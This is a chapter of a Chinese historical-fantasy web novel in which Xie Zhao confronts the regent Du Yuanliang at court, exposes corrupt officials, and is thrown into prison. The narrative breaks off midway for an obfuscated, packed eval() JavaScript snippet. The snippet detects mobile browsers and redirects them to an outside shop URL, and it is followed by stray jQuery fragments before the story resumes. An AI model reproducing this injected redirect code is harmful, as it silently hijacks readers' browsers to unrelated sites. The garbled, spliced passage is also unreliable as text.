24. 23、朝堂

作品:《奉旨祸乱苍生

    王城,明光殿。


    满殿金碧辉煌,文武百官侧立两侧,个个庄严肃穆。


    “杜参知。”太保刘明远持笏出列,恭敬对立于高台之上的杜元良道:“而今因谢贼所犯罪孽,宗主国大为不悦,如利剑高悬于顶,没个定夺,我等惶恐,还请参知定下和亲人选,给宗主国一个交代。”


    高台之上,一满头银发、一身朱石栗色云缎锦袍的老者背对众人而立,抬头望着高悬于金椅之上,书‘敬天爱民’四个大字的金匾。


    他沉默半晌才慢慢转过身来。


    手中紫檀木鹰头杖轻敲金砖,笃笃轻响。


    他双手按在鹰头杖上闭了闭眼,沉思片刻方慢声道:“此事皆系谢氏一家所为,不应牵涉无辜,老夫已命人活捉谢氏余孽,扭送宗主国伏法,此为上解。”


    此言一出,众臣面面相觑,议论纷纷。


    立于百官之首的全崇文微眯了眯眼。


    心中冷笑。


    王姬薨逝,和亲人选势必会在重臣或王亲国戚之中过继。


    说得再好听,也掩饰不了不想自己女儿被选中的心思。


    他尚知疼惜女儿的,当初择王姬和亲之时,怎不见他说‘牵涉无辜’?


    “行了。”杜元良声音不大,却按下一切喧嚣,“谢氏余孽虽已被殿下逐出王城,但他难逃一死,诸位且放心,我、”


    杜元良话音未落,便听得殿外一声高呼,“杜参知好大的官威啊!”


    众人纷纷循声回头,便见谢钊一手持槊,一手拽着个被五花大绑的大汉,大步流星走入殿中。


    众人皆惊呆了。


    他不是被逐出王城了吗?


    他不是被杜相追杀吗?


    怎会出现于此,还如此气势汹汹。


    杜元良认出他手中半死不活之人正是韩猛,更是惊得眼都瞪大了。


    谢钊没有理会他们,大步走到大殿中央,一把将韩猛扔在杜元良脚下。


    无数思绪在杜元良心头轮转而过,他很快镇定下来。


    谢钊眼里满是不屑:“储君殿下尚列阵在下,你倒是站得挺高啊,不知道的,还以为你才是王上。”


    杜元良手指一下一下轻敲鹰头,微眯着眼睨着谢钊,“国君病重,老夫奉命代理朝政,谢司卿是有什么异议吗?”


    刘明远呵道:“谢钊!你无视宫规,竟敢携武器上殿,辱骂朝廷命官,究竟是何居心!你可别忘了,你现在可是白衣之身,是被逐出王城的罪人!”


    谢钊唇角牵起一抹冷笑,望着杜元良口中却叫刘太保。


    “刘太保,我且问你,我父亲有何罪证被打为叛臣?你又有何证据,说你没有反叛之心?”


    他后一句显然问的是杜元良。


    经药园被毁、落霞谷一役,杜元良心知肚明,谢钊手握自己诸多罪证。


    但他依然毫无怯意。


    刘明远皱了皱眉,不解一个毛头小子哪来这么大口气。


    “你什么身份,居然敢质问参知,破阵军和左右武卫军都死绝了吗?!”


    他径直走到谢钊面前,指着他的鼻子骂道:“宵小之徒!要你父亲的罪证是吗,好,那我便告诉你!你可知槐安能有今日之繁华,全都倚仗于乌劫,乌劫开战,本就因其心怀不满,你父亲百般阻挠不说,还诛杀其子,你们难道要害得槐安灭国吗!?”


    一石激起千层浪,众朝臣纷纷附和:“你说啊!”


    “说啊!”


    谢钊却在这步步紧逼的质问中笑出声来。


    声音越来越大,状似癫狂。


    众人指指点点,“疯子!”


    “真是个疯子!”


    全崇文看着谢钊眼里渐渐积起的泪,心中大是不忍,越众而出,一声雷吼:“都闭嘴!朝堂之上,岂容尔等七嘴八舌,当这里是什么?菜场吗?”


    他压下一切喧嚣,转向刘明远,“本宫敬你是老臣,对你心怀尊敬,可你所言甚是不妥,你说乌劫开战是心怀不满,那本宫且问你,他们究竟有何不满?”


    刘明远唇角紧抿了下,喉头微动,随后扬高声调结巴道:“当、当然是、”


    他似乎找到合适的理由,瞬间有了底气,“当然是殿下您的那一纸奏书,反对乌劫增加岁贡。”


    他持笏做了个恭敬行礼的手势,“但宗主国并未深究,只提议将军队驻扎于武临郡,护我王城安危,可见是十分大度的。”


    全崇文顿时心头火起,但碍于身份,死死咬住舌尖,把话生生咽了下去。


    望着刘明远的眼却微眯了眯,一侧咬肌凸起,强忍着打他一拳的冲动。


    刘明远说得趾高气昂,仿佛那是什么天大的幸事。


    谢钊忍不住噗嗤一声笑出声来。


    他歪头看向刘明远,唇角含笑眼神却狠厉:“刘太保果然明事理,那我且问你,关系再好,你会让你邻居住在你家吗?会双手欢迎山匪睡你床榻吗?”


    刘明远没想到他会说得如此粗俗且直白,气急败坏:“你、你、粗鄙之人,真真是粗鄙之人!”


    谢钊只可笑他一个无知之人,却非装什么文雅之士。


    他视线缓缓扫过每位朝臣的脸,“你们都是这样想的吗?你们都觉得,那乌劫驻军队在武临郡,是为了护咱们安危?”


    视线每扫过一个,一个就要移开视线回避。


    他们当然不是这样想的,也当然知道这样做的后果。


    甚至可以说,在场每一个人,都知道谢程松是被冤枉的。


    但是......


    槐安一步步走到今天,已经不是凭一腔热血就能扭转得了的了。


    与其飞蛾扑火不自量力,倒不如做个糊涂官,至少不会沦落得和槐安百姓一样,食不果腹、衣不蔽体。


    看到他们都沉默了,谢钊知道,此局无解。


    可就算如此,他也要孤注一掷,自顾自地说道:“诸位到底身处暖室已久,没去亲眼看看这‘盛世繁华’,可知乌劫人遍地,却独独不见我槐安百姓,那学堂之上,读书声朗朗,说的却是乌劫语,可真真是繁华啊!”


    “这是必经之路。”司空张维忽然开口道:“想当年,槐安公率军覆灭大康,百废待兴,若非乌劫处处帮衬,哪有我槐安今日?现今提出驻扎军队,是情理之中,不该阻挠。”


    谢钊连连点头,苦笑说:“是啊,真真是好帮手,帮得我槐安百姓无地可种,欺行霸市,无生计可寻,处处受限,现今人口日益流失,你们倒还感恩戴德,真真是菩萨心肠。”


    众人纷纷低下了头,不再言语。


    满朝针落可闻。


    唯有无声的叹息。


    沉默。


    又是那令人窒息的沉默。


    谢钊握紧了手中的槊,突然拔高了音调,声音回荡在大殿之内:“今日!我谢钊,便以白衣之身,拼上一条烂命!参司空张维、司马林志,结党营私、贪墨漕银,致使三山郡河道年久失修,前岁水患,百万灾民流离失所之祸,根源皆系于此!若我没有记错的话,此二人皆为杜公提拔,没错吧?”


    顿时满朝哗然,张维林志二人面色剧变。


    张维怒指谢钊:“你血口喷人!戴罪之身敢闯金殿,扰乱议会,还想构陷忠良,简直罪该万死!”


    谢钊嘴角勾起一抹冰冷的弧度,从袖中取出部分账册副本:“忠良?这上面每一笔赃款,何时、何地、经何人之手皆记录在案。张大人,你当本司卿在刑狱司这么多年,是来玩的吗?”


    他将簿子掸了掸:“需要我念出来,您在三年前,是如何将十万两白银,化作您三山郡别苑的奇石珍玩吗?而那些白银,又是从何而来的!”


    证据当前,张维顿时面如死灰。


    一直作壁上观,一言不发的杜元良突然开口道:“谢司卿明察秋毫,尽管不再为官,也还是不忘职责,为槐安铲除祸害,老夫甚是敬佩。”


    他语气柔和,声调压得很平,似乎在唠家常,“但如今,毕竟老夫代政,此事还需得再次查验,方才司卿既提到了老夫,那么为了避嫌,此事便交由陈理陈司寇查验,好还老夫清白,也莫寒了忠臣之心,司卿可还满意?”


    “你说呢?”谢钊将他的糖衣炮弹原封不动挡了回去。


    先前他还不觉得有什么,今日才得见,杜元良此人有多么狡猾。


    始终语气和缓,礼数周全,尽管谢钊是罪臣,也依然恭恭敬敬唤他谢司卿。


    叫人一腔怒火无处施展,尽全力挥出一拳,却打在软绵绵的棉花上,还要关切一句‘疼不疼’。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289867|197865||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>谢钊正思忖着,就听杜元良接着道:“谢司卿自然是满意的吧?谢司卿今日所言,老夫皆铭记于心,十分佩服,可、也容老夫问一句,谢司卿可得了赦免,可入王城?”


    谢钊:“未。”


    杜元良一步一步迈下金石铺就的矮阶,“很好,那便请吧。”


    谢钊看了眼地上半死不活的韩猛,唇角勾起一抹不甚明显的弧度,忽然十分突兀地问道:“那妖雾中的杀手,可是杜参知派去的?”


    杜元良反应很快:“什么妖雾什么杀手?老夫从未派过任何人威胁谢司卿。”


    谢钊点点头,“那这个韩猛,是个例外喽?”


    魏猛被五花大绑着,在地上挣扎得像一条搁浅的鱼,口齿不清地喊道:“杜公救命!杜公救救我!”


    这下杜元良不想承认也不行了,“这魏猛的确是老夫派去的,为的是保障谢司卿安全,前往乌劫国国君那里赔罪,有何不可?”


    谢钊大为满意,“你承认就好。”


    武卫军一左一右将谢钊架起,双手扭向身后,带出金殿。


    一阵阴冷裹上来,牢门砰的一声紧闭。


    谢钊被扒掉所有衣裳,只留了单薄里衣。


    他坐靠在墙角,尽可能把自己缩成一团。


    约么一炷香后,有脚步声传来,在他牢门前停了一停。


    谢钊似乎知道是谁,连眼皮也不抬。


    片刻后,一串脚步声疾急响近,李继那谄媚的声音在牢房外响起,“不知杜相大驾光临,小的有失远迎。”


    杜元良声音依然和缓,从喉咙里滚出一串嗯声,似略有些不耐烦,“不是都说了不用伺候,退下去吧。”


    “呃这......”李继似乎有些犹豫,恭敬地将铺着软垫的椅子往杜元良近前挪了挪,“杜相您看......”


    杜元良坐在椅上,接了李继奉来的茶,用盖子轻泼了泼茶叶沫子,小呷一口没有说话。


    李继却大是喜色:“哎~小的明了,多谢杜相指点。快快。”


    他说罢赶鸡似的赶着众狱卒,小跑着退下去了。


    谢钊望着黑黢黢的天花板,冷笑道:“杜相这是又达成了什么腌臜勾当?”


    杜元良轻轻搁下茶碗:“谢司卿这是什么话,老夫做事向来光明磊落,从不与人勾当,倒是谢司卿,老夫就有点看不懂了。”


    谢钊不咸不淡道:“这里就我们两个人,有什么好装的。”


    杜元良往椅背上轻轻一靠,倚进暗处,看不清神色。


    “老夫从来不曾装过什么,不过了解谢司卿并非冲动之人,若无把握,是断然不会兵行险招的,况且,老夫至今也没想明白,你究竟是怎么入的王城。”


    他紧着话锋一转,“不过这也不重要了,看在你是老夫从小看着长大的份儿上,老夫便提醒你一句。世人无能独善其身,当审时度势,莫要一意孤行。”


    他语重心长道:“你可还很年轻呐。”


    谢钊没有应声,一阵冷风打着旋儿从缝儿似的小窗溜进来。


    他不自觉将膝往怀里收了收,“四月了,一些恼人的小虫子,也该出来了。”


    杜元良:“......”


    三山郡,天机军帐内。


    黎姝近来睡眠不是很好,半夜总是醒来。


    青霓托疏白配了些安神香,在小香炉里点了。


    幽幽清香灌了满屋。


    黎姝坐于榻前,就着灯烛翻阅着一本兵书。


    青霓将案上吃剩的樱桃梗收走,刚掀开帐帘就遇上匆匆而来的红缨。


    “大帅歇息了吗?”


    “没有,进去吧。”


    红缨大步流星,单膝跪拜,“见过大帅。”


    黎姝扶她起来:“伤刚好,就不要奔忙了,好好歇歇。”


    “无妨,大帅,属下刚刚得到情报,那姓谢的小子,回王城的路上遭到伏击,谢钊大胜,押伏击者回朝,竟在朝堂之上公然与杜老狗对峙!”


    青霓刚进来就听到后半句,“没想到这姓谢的,还挺有骨气。”


    黎姝气定神闲,轻轻合上书册,“何来骨气,一个冲动的毛头小子罢了,他现在如何?”


    “下狱了。”


    黎姝一声冷笑:“不中用。”